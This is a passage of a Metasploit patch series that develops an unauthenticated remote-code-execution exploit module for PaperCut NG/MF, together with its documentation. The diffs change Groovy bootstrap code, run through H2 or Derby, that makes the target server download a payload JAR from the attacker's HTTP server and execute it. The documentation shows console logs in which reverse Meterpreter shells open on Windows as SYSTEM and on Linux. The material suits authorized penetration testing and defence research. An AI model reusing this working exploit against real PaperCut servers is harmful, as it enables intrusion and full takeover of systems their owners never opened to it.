"jdbc:h2:mem:#{rand_text_alpha_lower(8)};INIT=#{h2_escape(h2_statement(groovy_source))}" + if url.length > 1024 + fail_with(Failure::BadConfig, "The generated H2 JDBC URL exceeds PaperCut's 1,024-character configuration limit") + end + # PaperCut requires the lookup SQL to contain {cardnumber}. This harmless query returns the supplied random value; # payload execution has already occurred while H2 processed INIT. sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))' @@ -419,31 +432,30 @@ def derby_bootstrap_class(class_name, source) klass end - def groovy_class_loader_source(payload_uri, payload_class) + def groovy_class_loader_source(payload_uri, class_loader_uri, class_loader_class, payload_class) identifiers = Rex::RandomIdentifier::Generator.new(language: :java) result = rand_text_alpha_lower(8) - # The Groovy bootstrap downloads the generated JAR directly from Metasploit and loads its randomized manifest entry - # point with an isolated URLClassLoader. Run main on a daemon thread so an interactive payload cannot block the H2 - # lookup and its enclosing Tapestry request. The thread retains the JAR loader as its context class loader so payload - # classes and resources that are resolved lazily can still be read from the JAR. When main returns, closing the loader - # releases and deletes the temporary jar_cache file created by the JRE for a remote JAR. + # Despite its historical Meterpreter package name, Metasploit's JarFileClassLoader is a generic memory-backed JAR + # loader. URLClassLoader fetches that helper as one raw class from a directory URL, so Java never opens it as a remote + # JAR. It then expands the separately downloaded payload JAR into byte arrays and defines its classes and + # resources directly from memory. Run main on a daemon thread so an interactive payload cannot block the H2 lookup and + # its enclosing Tapestry request. The thread retains the memory loader as its context class loader so payload classes + # and resources that are resolved lazily remain available. Giving it PaperCut's application loader as its parent also + # prevents an HTTP lookup for every payload class. Keep this stub compact because PaperCut truncates the + # user-lookup.db-url setting at 1,024 characters. # Eval.me (see h2_statement) returns the final random string (result) to H2's CALL instead of making H2 convert a # Thread or reflection object. <<~GROOVY - def #{identifiers[:loader]} = new java.net.URLClassLoader([new java.net.URL("#{payload_uri}")] as java.net.URL[]) + def #{identifiers[:bootstrap_loader]} = new URLClassLoader([new URL("#{class_loader_uri}")] as URL[]) + def #{identifiers[:loader_class]} = #{identifiers[:bootstrap_loader]}.loadClass("#{class_loader_class}") + def #{identifiers[:loader]} = #{identifiers[:loader_class]}.getConstructor(ClassLoader).newInstance(#{identifiers[:bootstrap_loader]}.parent) + #{identifiers[:loader]}.addJarFile(new URL("#{payload_uri}").bytes) def #{identifiers[:payload]} = #{identifiers[:loader]}.loadClass("#{payload_class}") Thread.startDaemon { - def #{identifiers[:thread]} = Thread.currentThread() - def #{identifiers[:original_loader]} = #{identifiers[:thread]}.getContextClassLoader() - try { - #{identifiers[:thread]}.setContextClassLoader(#{identifiers[:loader]}) - #{identifiers[:payload]}.main(new String[0]) - } finally { - #{identifiers[:thread]}.setContextClassLoader(#{identifiers[:original_loader]}) - #{identifiers[:loader]}.close() - } + Thread.currentThread().setContextClassLoader(#{identifiers[:loader]}) + #{identifiers[:payload]}.main(new String[0]) } "#{result}" GROOVY @@ -484,14 +496,13 @@ def h2_escape(statement) statement.gsub('\\') { '\\\\' }.gsub(';') { '\\;' } end - # For ARCH_JAVA payloads we server them out as a JAR hosted on a HttpServer. Metasploit hardcoded "metasploit.Payload" - # as the entry point. We can randomize this via encoded_jar(random: true), however we need to both extract the new random - # entry point (the Main class name in the JAR) for the Groovy bootstrap, but also we need to serve this randomized JAR - # to the target with a custom HttpServer path handler. + # For ARCH_JAVA payloads, serve both the generated executable JAR and Metasploit's generic memory-backed JAR loader. + # Java shell and staged payload generators can randomize their entry point, while the stageless Meterpreter generator + # currently retains its fixed StagelessMain class. The JAR manifest is therefore the authoritative entry point. def start_java_payload_service - # Metasploit's Java payload generator rewrites the fixed "metasploit" package when random is enabled. Read the - # resulting entry point from the manifest so the Groovy loader invokes the randomized class name. + # Request framework-supported class-name randomization where the selected Java payload implements it. Read the entry + # point from the resulting manifest so both randomized and fixed Main-Class implementations are handled consistently. payload_jar = payload.encoded_jar(random: true) payload_class = payload_jar.manifest.to_s[/^Main-Class:\s+([^\r\n]+)/, 1] @@ -499,29 +510,50 @@ def start_java_payload_service fail_with(Failure::BadConfig, 'The generated Java payload JAR has no Main-Class entry') unless payload_class @java_payload_jar = payload_jar.pack + @java_payload_jar_name = "#{rand_text_alpha_lower(8)}.jar" + + # Serve Metasploit's memory-backed JAR loader as a raw class. Its canonical HTTP path must match the package name + # embedded in the class so URLClassLoader can resolve it relative to the service URI. + class_loader_class = 'com.metasploit.meterpreter.JarFileClassLoader' + @java_payload_class_loader_path = 'com/metasploit/meterpreter/JarFileClassLoader.class' + @java_payload_class_loader = MetasploitPayloads.read('java', 'com', 'metasploit', 'meterpreter', 'JarFileClassLoader.class') start_service( 'Uri' => { - 'Path' => "/#{rand_text_alpha_lower(8)}.jar", - 'Proc' => proc { |cli, request| java_payload_jar_request(cli, request) } + 'Path' => "/#{rand_text_alpha_lower(8)}/", + 'Proc' => proc { |cli, request| java_payload_request(cli, request) }, + 'VirtualDirectory' => true } ) { - uri: get_uri, - class_name: payload_class + jar_uri: "#{get_uri}#{@java_payload_jar_name}", + loader_uri: get_uri, + loader_class: class_loader_class, + main_class: payload_class } end - def java_payload_jar_request(cli, request) + def java_payload_request(cli, request) vprint_status("#{request.method} #{request.uri} requested") return send_not_found(cli) unless %w[HEAD GET].include?(request.method) + resource = request.relative_resource.to_s.delete_prefix('/') + + body, content_type = case resource + when @java_payload_jar_name + [@java_payload_jar, 'application/java-archive'] + when @java_payload_class_loader_path + [@java_payload_class_loader, 'application/octet-stream'] + else + return send_not_found(cli) + end + send_response( cli, - request.method == 'HEAD' ? '' : @java_payload_jar, - 'Content-Type' => 'application/java-archive' + request.method == 'HEAD' ? '' : body, + 'Content-Type' => content_type ) end end From 88b6bdca8e227c168c4aca3dd40be9879dd8cfc8 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 14:26:53 +0100 Subject: [PATCH 05/13] add some comments around teh defaults. add a warning message if SRVSSL is true. --- .../http/papercut_ng_external_user_lookup_rce.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 20046e126c40e..05ab3a14345f1 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -83,8 +83,12 @@ def initialize(info = {}) ], 'DefaultTarget' => 0, 'DefaultOptions' => { + # The remote target PaperCut service port number. 'RPORT' => 9191, + # The remote target PaperCut service is HTTP by default, but can be HTTPS. 'SSL' => false, + # The Metasploit HTTP service for serving out Java JAR payloads, must be HTTP by default + # as the remote JVM will likly not trust a self-signed certificate. 'SRVSSL' => false }, 'Notes' => { @@ -501,6 +505,13 @@ def h2_escape(statement) # currently retains its fixed StagelessMain class. The JAR manifest is therefore the authoritative entry point. def start_java_payload_service + if http_server_ssl + print_warning( + 'SRVSSL is enabled. The target JVM must trust SSLCert and the advertised URI host must match the certificate; ' \ + "Metasploit's default self-signed certificate will normally be rejected." + ) + end + # Request framework-supported class-name randomization where the selected Java payload implements it. Read the entry # point from the resulting manifest so both randomized and fixed Main-Class implementations are handled consistently. payload_jar = payload.encoded_jar(random: true) From e325ed94a88e6bcd09de846a9bee03b0282513a6 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 14:50:58 +0100 Subject: [PATCH 06/13] we dont need to keep this as 10 charachters, it can be a random range --- .../http/papercut_ng_external_user_lookup_rce.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 05ab3a14345f1..d8efb6b3a4854 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -181,7 +181,7 @@ def exploit end # A class name is only populated for the two-stage Derby strategy and later signals that the class must be loaded. - bootstrap_class = nil + bootstrap_class_name = nil # H2 only needs a non-existent card number to reach the configured database. Derby replaces this with a query that # returns the bootstrap class bytes for its export procedure. @@ -211,14 +211,14 @@ def exploit # PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by # the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it. - # Keep the randomized name the same length as the Metasploit template name patched in the class constant pool. - bootstrap_class = rand_text_alpha('Metasploit'.length) + # Vary both the content and length of the class name used for the temporary bootstrap artifact. + bootstrap_class_name = rand_text_alpha(8..16) # Derby requires a companion CSV for the export; its contents are not otherwise used by the exploit. csv_path = "tmp/#{rand_text_alpha_lower(8)}.csv" # Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory. - class_path = "lib/#{bootstrap_class}.class" + class_path = "lib/#{bootstrap_class_name}.class" # Append a Groovy stub to delete the .csv and .class file we end up dropping. groovy_source << "\nnew java.io.File(\"#{class_path}\").delete()\nnew java.io.File(\"#{csv_path}\").delete()" @@ -235,7 +235,7 @@ def exploit # This nested Derby query returns the patched class bytes as a BLOB. X'...' is a hexadecimal binary literal; # PaperCut binds the complete query string above as the export procedure's first argument. - lookup_value = "VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class, groovy_source).unpack1('H*')}' AS BLOB)" + lookup_value = "VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class_name, groovy_source).unpack1('H*')}' AS BLOB)" end # These are the only four settings needed by either database strategy. This is CVE-2026-82078. @@ -261,7 +261,7 @@ def exploit print_warning('The lookup request did not return a Home response; the payload may still have executed') unless home_response?(res) - if bootstrap_class + if bootstrap_class_name # Stop calling the export procedure before loading the new class. DatabaseUtils invokes Class.forName on the # configured driver before opening the connection, which executes the bootstrap's static initializer. fail_with(Failure::UnexpectedReply, 'Failed to reset the lookup query') unless update_config_option( @@ -271,7 +271,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Failed to select the bootstrap class') unless update_config_option( 'user-lookup.db-driver', - bootstrap_class + bootstrap_class_name ) # A second lookup makes DatabaseUtils load the newly selected driver class. Class.forName executes its static @@ -427,7 +427,7 @@ def derby_bootstrap_class(class_name, source) fail_with(Failure::BadConfig, 'The generated Groovy bootstrap is too large') if encoded_source.length > 0xffff - class_replaced = klass.sub!("\x00\x0aMetasploit", "\x00\x0a#{class_name}") + class_replaced = klass.sub!("\x00\x0aMetasploit", "#{[class_name.bytesize].pack('n')}#{class_name}") source_replaced = klass.sub!("\x00\x07PAYLOAD", "#{[encoded_source.length].pack('n')}#{encoded_source}") From 73060dc4fd1ca90006ea900432fa269d8f55ae05 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 15:16:45 +0100 Subject: [PATCH 07/13] its high priv on win but low priv on lin (by default), so set Priviledged to false --- .../multi/http/papercut_ng_external_user_lookup_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index d8efb6b3a4854..bd3fe6f19b57f 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -42,7 +42,8 @@ def initialize(info = {}) ['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/'] ], 'DisclosureDate' => '2026-08-27', - 'Privileged' => true, + 'Privileged' => false, # Defaults to the high-priv 'SYSTEM' user on Windows but a low-priv user 'papercut' on Linux. + # As we include HttpServer, we explicitly declare an Aggressive stance here because HttpServer would otherwise make this passive. 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ From 079730472ce8dc05152785fe69d4b076bd063ccf Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 15:17:17 +0100 Subject: [PATCH 08/13] typo --- .../exploits/multi/http/papercut_ng_external_user_lookup_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index bd3fe6f19b57f..11aa803432da7 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -89,7 +89,7 @@ def initialize(info = {}) # The remote target PaperCut service is HTTP by default, but can be HTTPS. 'SSL' => false, # The Metasploit HTTP service for serving out Java JAR payloads, must be HTTP by default - # as the remote JVM will likly not trust a self-signed certificate. + # as the remote JVM will likely not trust a self-signed certificate. 'SRVSSL' => false }, 'Notes' => { From 1f9991cf5707cf56e4a18ce7009b12af934550bb Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 15:18:32 +0100 Subject: [PATCH 09/13] when bootstraping via Derby on 25 and below, we delete teh class and csv file, but if teh actual groovy payload throws we dont delete, wrap in a try finaly to ensure we always delete these artifacts --- .../http/papercut_ng_external_user_lookup_rce.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 11aa803432da7..51b4f84ab8644 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -221,8 +221,15 @@ def exploit # Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory. class_path = "lib/#{bootstrap_class_name}.class" - # Append a Groovy stub to delete the .csv and .class file we end up dropping. - groovy_source << "\nnew java.io.File(\"#{class_path}\").delete()\nnew java.io.File(\"#{csv_path}\").delete()" + # Ensure the temporary .csv and .class artifacts are deleted even if the Groovy bootstrap raises an exception. + groovy_source = <<~GROOVY + try { + #{groovy_source} + } finally { + new java.io.File("#{class_path}").delete() + new java.io.File("#{csv_path}").delete() + } + GROOVY # Selecting the bundled Derby driver lets the first lookup call Derby's built-in export procedure. driver = 'org.apache.derby.jdbc.EmbeddedDriver' From bef28d48564b079bf3a6a158af966b6e54b7ad31 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 15:36:13 +0100 Subject: [PATCH 10/13] some version have a version suffix, so handle that in papercut_info --- .../multi/http/papercut_ng_external_user_lookup_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 51b4f84ab8644..237d46b2e620a 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -328,7 +328,9 @@ def papercut_info return { status: :not_found, message: 'The target did not return the expected page.' } unless res.code == 200 && res.body.include?('') - match = res.body.match(/PaperCut (?NG|MF)\s+(?\d+\.\d+\.\d+)\s+\(Build\s+(?\d+)\)/) + # PaperCut appends the optional semantic-version suffix from version.suffix to the release, for example + # "26.0.4-PO-4560" or "26.0.4-rc.1". Accept that suffix but compare only release and build numbers. + match = res.body.match(/PaperCut (?NG|MF)\s+(?\d+\.\d+\.\d+)(?:-[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?\s+\(Build\s+(?\d+)\)/) return { status: :version_unknown, message: 'PaperCut was detected, but its version could not be determined.' } unless match From be4b5fffc2fb40d9d69c1dd466af5d54e7209e70 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 15:50:57 +0100 Subject: [PATCH 11/13] add comment confirming an MF testing target --- .../exploits/multi/http/papercut_ng_external_user_lookup_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index 237d46b2e620a..ecc2533422573 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -29,6 +29,7 @@ def initialize(info = {}) a Windows or Linux command payload directly. This module was successfully tested against: + * PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1 * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 * PaperCut NG 26.0.3 (Build 76225) * PaperCut NG 25.0.11 (Build 75758) From b2c37160b836662be3afb32346d1ac546687cc12 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 16:59:14 +0100 Subject: [PATCH 12/13] add note that this was tested on NG 24.1.9.73376 --- .../exploits/multi/http/papercut_ng_external_user_lookup_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb index ecc2533422573..797be50629a04 100644 --- a/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb +++ b/modules/exploits/multi/http/papercut_ng_external_user_lookup_rce.rb @@ -33,6 +33,7 @@ def initialize(info = {}) * PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 * PaperCut NG 26.0.3 (Build 76225) * PaperCut NG 25.0.11 (Build 75758) + * PaperCut NG 24.1.9 (Build 73376) }, 'License' => MSF_LICENSE, 'Author' => ['sfewer-r7'], From b8b014eb371a028ed250cefdc22eff3608aba04f Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Sun, 30 Aug 2026 19:15:07 +0100 Subject: [PATCH 13/13] add in docs --- .../papercut_ng_external_user_lookup_rce.md | 242 ++++++++++++++++++ 1 file changed, 242 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/papercut_ng_external_user_lookup_rce.md diff --git a/documentation/modules/exploit/multi/http/papercut_ng_external_user_lookup_rce.md b/documentation/modules/exploit/multi/http/papercut_ng_external_user_lookup_rce.md new file mode 100644 index 0000000000000..4e7a2676b0138 --- /dev/null +++ b/documentation/modules/exploit/multi/http/papercut_ng_external_user_lookup_rce.md @@ -0,0 +1,242 @@ +## Vulnerable Application +This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry +complex-direct request invokes privileged ConfigEditor components through the public Home +page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose +initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby +procedure to write a temporary Groovy bootstrap class to the application classpath, then loads +it as a database driver. The Java target serves an executable payload JAR and a generic +memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however, +versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute +a Windows or Linux command payload directly. + +## Testing +Download and [install](https://www.papercut.com/help/manuals/ng-mf/common/install/) a vulnerable version of +PaperCut NG or PaperCut MF for either Windows or Linux. Ensure the setup is finished before attempting to validate the +exploit. By default, the server will listen for HTTP connections on port `9191`. + +This exploit was successfully tested against: +* PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1 +* PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1 +* PaperCut NG 26.0.3 (Build 76225) +* PaperCut NG 25.0.11 (Build 75758) +* PaperCut NG 24.1.9 (Build 73376) + +The exploit has been tested with these payloads: +* `java/meterpreter_reverse_tcp` +* `java/meterpreter/reverse_tcp` +* `java/shell_reverse_tcp` +* `cmd/windows/http/x64/meterpreter_reverse_tcp` +* `cmd/linux/http/x64/meterpreter_reverse_tcp` + +## Verification Steps +Note: On Windows, disable Defender if you are using the default `cmd/windows/*` payloads. + +1. Start msfconsole +2. `use exploit/multi/http/papercut_ng_external_user_lookup_rce` +3. `set RHOST ` +4. `set target 0` +5. `set payload java/meterpreter_reverse_tcp` +6. `set LHOST eth0` +7. `check` +8. `exploit` + +## Scenarios + +### Java +Note: The Java target is architecture agnostic and platform agnostic as it's a native Java payload, so it will +work against either a Windows system or a Linux system. + +Note: The Java target deploys its Metasploit payload in-memory without touching disk. On older PaperCut versions 25.x +and below, a bootstrap class will be dropped due to how Derby is leveraged for RCE. On newer PaperCut version 26.x this +is not required as H2 is leveraged instead of Derby, so the payload is entirely in-memory. + +``` +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 0 +target => 0 +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload java/meterpreter_reverse_tcp +payload => java/meterpreter_reverse_tcp +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > show options + +Module options (exploit/multi/http/papercut_ng_external_user_lookup_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h + RHOSTS 192.168.86.175 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9191 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on + all addresses. + SRVPORT 8181 yes The local port to listen on. + SRVSSL false no Negotiate SSL/TLS for local server connections + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI /app yes Path to the PaperCut application + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXTENSIONS no Comma-separate list of extensions to load + LHOST 192.168.86.122 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set RHOSTS 192.168.86.155 +RHOSTS => 192.168.86.155 +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > check +[+] 192.168.86.155:9191 - The target appears to be vulnerable. PaperCut MF 26.0.4.76494. +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. PaperCut MF 26.0.4.76494. +[*] Using URL: http://192.168.86.122:8181/jhnadryh/ +[*] PaperCut 26.0.4.76494 detected; using H2 to execute Groovy bootstrap +[*] Setting config... +[*] Triggering the external user lookup +[*] Resetting config... +[*] Meterpreter session 18 opened (192.168.86.122:5555 -> 192.168.86.155:64245) at 2026-08-30 15:45:46 +0100 +[*] Server stopped. + +meterpreter > getuid +Server username: SYSTEM +meterpreter > sysinfo +Computer : WIN-FG3H2SKPOTA +OS : Windows Server 2025 10.0 (amd64) +Architecture : x64 +System Language : en_IE +Meterpreter : java/windows +meterpreter > cat version.txt +[version] +name-with-version=PaperCut MF 26.0.4 (Build 76494) +name=PaperCut MF +version-major=26 +version-minor=0 +version-patch=4 +version-suffix= +version-build=76494 +meterpreter > +``` + +### Windows + +``` +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 1 +target => 1 +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp +payload => cmd/windows/http/x64/meterpreter_reverse_tcp +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. PaperCut MF 26.0.4.76494. +[*] PaperCut 26.0.4.76494 detected; using H2 to execute Groovy bootstrap +[*] Setting config... +[*] Triggering the external user lookup +[*] Resetting config... +[*] Meterpreter session 19 opened (192.168.86.122:5555 -> 192.168.86.155:64257) at 2026-08-30 15:47:44 +0100 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` + +### Linux + +``` +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set target 2 +target => 2 +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp +payload => cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > show options + +Module options (exploit/multi/http/papercut_ng_external_user_lookup_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h + RHOSTS 192.168.86.175 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9191 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on + all addresses. + SRVPORT 8181 yes The local port to listen on. + SRVSSL false no Negotiate SSL/TLS for local server connections + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI /app yes Path to the PaperCut application + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXTENSIONS no Comma-separate list of extensions to load + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant + also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST 192.168.86.122 yes The listen address (an interface may be specified) + LPORT 5555 yes The listen port + + + When FETCH_COMMAND is one of CURL,GET,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME weeVjpRDjoW no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 2 Linux Command + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. PaperCut NG 26.0.3.76225. +[*] PaperCut 26.0.3.76225 detected; using H2 to execute Groovy bootstrap +[*] Setting config... +[*] Triggering the external user lookup +[*] Resetting config... +[*] Meterpreter session 17 opened (192.168.86.122:5555 -> 192.168.86.175:35480) at 2026-08-30 15:35:25 +0100 + +meterpreter > getuid +Server username: papercut +meterpreter > sysinfo +Computer : testing-ubuntu-vm-1 +OS : Ubuntu 24.04 (Linux 6.17.0-35-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +```